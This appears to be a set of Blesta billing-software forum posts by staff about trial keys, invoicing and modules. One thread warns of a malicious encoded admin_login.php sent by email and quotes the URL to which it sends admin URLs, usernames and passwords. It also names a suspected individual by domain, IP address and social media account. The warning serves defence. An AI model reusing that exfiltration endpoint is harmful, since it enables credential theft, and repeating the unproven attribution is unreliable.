Paul

I am looking into the issue right now.

Open a ticket, you shouldn't get this with a monthly license at all.

Yeah, PauloV decoded it. I debated not posting this information but here's where the file sends your admin details: https://my.dorob.de/modules/addons/passwords/insert.php?url=" . $url . "&user=" . $u . "&pw=" . $p Domain is registered to: IP address is 37.228.135.135 which belongs to: This person also has the twitter account https://twitter.com/dorobde and was critical of Blesta in this tweet: https://twitter.com/DoRobDE/status/507934296829861888

I sent you a PM with a trial key. When you install Blesta, there is a "sign up for a 30 day free trial" option.. it obtains a trial key automatically. If you have any trouble with the new key, let me know. Thanks, Paul

Thanks for that. As I suspected, it does capture your Blesta URL, Username, and Password.

I emailed you a copy from our phillipsdata gmail.

I have the file, but my attempt to decode it using a popular service failed. My guess is that it probably captures your login credentials and emails the attacker.

If anyone did receive the email, please let us know. So far only 1 client has reported receiving the email.

If you received an email like this, ignore it. The email contains an encoded admin_login.php file, DO NOT UPLOAD IT TO YOUR SERVER.

Ok with me as long as it's clear that it's a 3rd party app and not directly from us.

Have you seen CORE-923? Your thoughts on this method? Also, Blesta tracks all client contact information updates, you can see these logged under Tools > Logs > Contacts. In the future, we'll allow contact details to be "rolled back". It *may* be possible, but perhaps expensive query-wise, to fetch the proper details for the invoice from here.

Thanks for expressing your interest! Hoping to get to TCAdmin soon.

Invoice numbers typically do not change. With the introduction of proforma, this may or may not work for the OP. The proforma language may be renamed and used for this purpose, if proforma isn't what is desired here. The numbering will not remain the same in the new invoice numbers, for example, a proforma invoice number of 123 will not maintain 123 within the number when paid and converted to an invoice. So, a proforma invoice number of 123 could come out as 2014-415 for example. They will increment based on invoice settings, so they can still be sequential.

I sent you a PM with a new trial key. If you have any trouble, make sure port 443 egress is open at your firewall and you have curl ssl installed in your PHP.

Blesta sanitizes output where necessary, you just shouldn't assume that it is if you're writing something custom. Make sure.

I believe he wants the ability to send a service activation or welcome email after the fact. This has been requested before, and I'm generally in favor of it. The question is whether there are any limitations in doing so after a service has already been activated.

If you are using the Universal module, you should get an email for a Package Change, you just need to configure the email for the Universal Module Product that's in use. There is no approval system for upgrades/downgrades at the moment. You can either allow customers to upgrade/downgrade, or not. The setting applies to the company, and also client groups, so you can allow some client groups to upgrade/downgrade, or change terms, independently, per group.

We will have to look at this in more detail as there is no way currently to "queue up" these kinds of actions.

Miiiiiiiiiike Stream101, you are welcome here. I was just thinking this morning about Centova Cast, and plan to dig deeper into the API later today to see what it would take to implement. Not to say that it won't still be a while before it's done, but I hope you'll consider Blesta once it is supported.

And mass mailer and affiliate system are in the lead...

Are you running beta 2?

Nice list!

I wouldn't mind having it, if you care to share, for a future "official" importer. We've reverse engineered others without decoding, it's not very difficult, but would save some time. What's shocking is that they think caesar ciphers provide any real security. It's hardly encryption.

Out of curiosity, how do they compute their passwords?

Thanks for the details. I'm curious, how do they route both of those ports? Are they both just part of the same VLAN?